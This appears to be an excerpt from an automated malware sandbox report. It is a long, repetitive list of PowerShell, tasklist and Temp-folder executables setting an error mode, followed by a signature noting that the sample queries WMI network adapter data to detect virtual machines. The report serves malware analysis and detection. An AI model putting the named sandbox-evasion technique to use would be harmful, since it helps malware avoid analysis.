Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\bound.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\lf6o4T3T.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
